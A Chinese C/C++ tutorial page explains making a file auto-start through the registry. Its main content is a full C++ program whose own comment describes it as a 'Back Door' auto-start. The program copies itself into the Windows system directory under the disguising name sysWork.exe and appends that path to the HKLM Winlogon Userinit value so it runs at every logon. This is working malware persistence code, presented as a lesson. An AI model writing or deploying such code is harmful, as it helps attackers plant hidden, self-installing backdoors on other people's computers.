C/C++知识点:如何利用添加注册表项实现文件自启动?
小标 2018-07-25 来源 : 阅读 2202 评论 0

摘要:本文主要向大家介绍了C/C++知识点:如何利用添加注册表项实现文件自启动?,通过具体的内容向大家展示,希望对大家学习C/C++知识点有所帮助。

本文主要向大家介绍了C/C++知识点:如何利用添加注册表项实现文件自启动?,通过具体的内容向大家展示,希望对大家学习C/C++知识点有所帮助。

简介

添加注册表项是实现文件自启动的经典方法之一,但因为操作注册表项是一个敏感操作,被报毒可能性较大,但即便如此,这个方法还是值得一学的,因为后期大部分编程都涉及到注册表操作。

最常使用到的注册表项有两项:

1.HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows 将“load”键下的键值改为自启动目标文件路径,但缺点在于只能支持一个程序

2.HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon 将“Userinit”键下的值加上自启动目标文件路径,但是要注意虽然支持多文件自启动,但每个文件路径之间切记要用逗号隔开!

C++代码样例

//////////////////////////////////////////////////////////////

//

// FileName : RegAutoRunDemo.cpp

// Creator : PeterZ1997

// Date : 2018-5-1 21:34

// Comment : Add registry key(s) to achieve the Back Door Auto-Start

//

//////////////////////////////////////////////////////////////

 

#include <cstdio>

#include <iostream>

#include <windows.h>

#include <cstdlib>

#include <cstring>

 

using namespace std;

 

const unsigned int MAX_COUNT = 255; /// Max String Length

 

CHAR szRegInfo[MAX_COUNT] = "\0";

 

/**

 * @brief Compare two String

 * @param str1 String-1

 * @param str2 String-2

 * @return Boollean Value

 */

BOOL compareTwoString(LPCTSTR str1, LPCSTR str2)

{

    CHAR szTempStr01[MAX_COUNT] = "\0";

    CHAR szTempStr02[MAX_COUNT] = "\0";

    if (strlen(str1) < strlen(str2))

    {

        strcpy_s(szTempStr02, sizeof(szTempStr01), str1);

        strcpy_s(szTempStr01, sizeof(szTempStr02), str2);

    }

    else

    {

        strcpy_s(szTempStr01, sizeof(szTempStr01), str1);

        strcpy_s(szTempStr02, sizeof(szTempStr02), str2);

    }

    for (int i = 0; i < strlen(szTempStr01) - strlen(szTempStr02); i++)

    {

        for (int j = 0; j < strlen(szTempStr02); j++)

        {

            if (*(szTempStr01 + j + i) != *(szTempStr02 + j))

            {

                break;

            }

            if (*(szTempStr01 + j + i) == *(szTempStr02 + j) && j == strlen(szTempStr02) - 1)

            {

                return true;

            }

        }

    }

    return false;

}

 

/**

 * @brief Add a string key to Registry

 * @param hRoot root key

 * @param szSubKey sub key after the root key

 * @param szValueName key name

 * @param szData key Data

 * @return Boollean Value

 */

BOOL setStringToReg(HKEY hRoot, LPCTSTR szSubKey, LPCTSTR szValueName, LPCTSTR szData)

{

    HKEY hKey;

    LONG lRes = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL);

    if (lRes != ERROR_SUCCESS)

    {

        RegCloseKey(hKey);

        RegCloseKey(hRoot);

        return false;

    }

    lRes = RegSetValueEx(hKey, szValueName, 0, REG_SZ, (BYTE*)szData, strlen(szData));

    if (lRes != ERROR_SUCCESS)

    {

        RegCloseKey(hKey);

        RegCloseKey(hRoot);

        return false;

    }

    RegCloseKey(hKey);

    RegCloseKey(hRoot);

    return true;

}

 

/**

 * @brief Get key info

 * @param hRoot root key

 * @param szSubKey sub key after the root key

 * @param szValueName key name

 * @return Boollean Value

 */

BOOL getRegInfo(HKEY hRoot, LPCTSTR szSubKey, LPCTSTR szValueName)

{

    HKEY hKey;

    DWORD dwType = REG_SZ;

    DWORD dwLenData = strlen(szRegInfo);

    LONG lRes = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL);

    if (lRes != ERROR_SUCCESS)

    {

        RegCloseKey(hKey);

        RegCloseKey(hRoot);

        return false;

    }

    RegQueryValueEx(hKey, szValueName, 0, &dwType, NULL, &dwLenData);

    lRes = RegQueryValueEx(hKey, szValueName, 0, &dwType, (LPBYTE)szRegInfo, &dwLenData);

    if (lRes != ERROR_SUCCESS)

    {

        RegCloseKey(hKey);

        RegCloseKey(hRoot);

        return false;

    }

    RegCloseKey(hKey);

    RegCloseKey(hRoot);

    return true;

}

 

/**

* @brief Main Function

*/

int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nShowCmd)

{

    CHAR szSystemPath[MAX_COUNT] = "\0";

    CHAR szFilePath[MAX_COUNT] = "\0";

    CHAR szRegValue[MAX_COUNT] = "\0";

    CHAR szTotalString[MAX_COUNT] = "\0";

    if (getRegInfo(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "Userinit")) strcat_s(szRegValue, sizeof(szRegValue), szRegInfo);

    else return 0;

    for (int i = 1;;)

    {

        if (szRegValue[strlen(szRegValue) - i] == ' ')

        {

            szRegValue[strlen(szRegValue) - i] = '\0';

        }

        else

        {

            break;

        }

    }

    if (szRegValue[strlen(szRegValue) - 1] != ',') strcat_s(szRegValue, sizeof(szRegValue), ",");

    strcat_s(szTotalString, sizeof(szTotalString), szRegValue);

    if (!compareTwoString(szTotalString, "C:\\Windows\\SysWOW64\\sysWork.exe"))

    {

        strcat_s(szTotalString, sizeof(szTotalString), "C:\\Windows\\SysWOW64\\");

        strcat_s(szTotalString, sizeof(szTotalString), "sysWork.exe,");

    }

    GetSystemDirectory(szSystemPath, sizeof(szSystemPath));

    strcat_s(szSystemPath, sizeof(szSystemPath), "\\sysWork.exe");

    if (!compareTwoString(szRegValue, szSystemPath))

    {

        strcat_s(szTotalString, sizeof(szTotalString), szSystemPath);

        strcat_s(szTotalString, sizeof(szTotalString), ",");

    }

    GetModuleFileName(NULL, szFilePath, sizeof(szFilePath));

    if (strcmp(szFilePath, szSystemPath) && strcmp(szFilePath, "C:\\Windows\\SysWOW64\\sysWork.exe"))

    {

        if (!CopyFile(szFilePath, szSystemPath, true)) return 0;

        if (!setStringToReg(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "Userinit", szTotalString)) return 0;

    }

    MessageBox(NULL, "HelloWorld", "Tips", MB_OK);

    ExitProcess(0);

    return 0;

}</cstring></cstdlib></windows.h></iostream></cstdio>

本文由职坐标整理并发布,希望对同学们有所帮助。了解更多详情请关注职坐标编程语言C/C+频道!


本文由 @小标 发布于职坐标。未经许可,禁止转载。
喜欢 | 1 不喜欢 | 0
看完这篇文章有何感觉?已经有1人表态,100%的人喜欢 快给朋友分享吧~
评论(0)
后参与评论

您输入的评论内容中包含违禁敏感词

我知道了

助您圆梦职场 匹配合适岗位
验证码手机号,获得海同独家IT培训资料
选择就业方向:
人工智能物联网
大数据开发/分析
人工智能Python
Java全栈开发
WEB前端+H5

请输入正确的手机号码

请输入正确的验证码

获取验证码

您今天的短信下发次数太多了,明天再试试吧!

提交

我们会在第一时间安排职业规划师联系您!

您也可以联系我们的职业规划师咨询:

小职老师的微信号:z_zhizuobiao
小职老师的微信号:z_zhizuobiao

版权所有 职坐标-一站式AI+学习就业服务平台 沪ICP备13042190号-4
上海海同信息科技有限公司 Copyright ©2015 www.zhizuobiao.com,All Rights Reserved.
 沪公网安备 31011502005948号    

©2015 www.zhizuobiao.com All Rights Reserved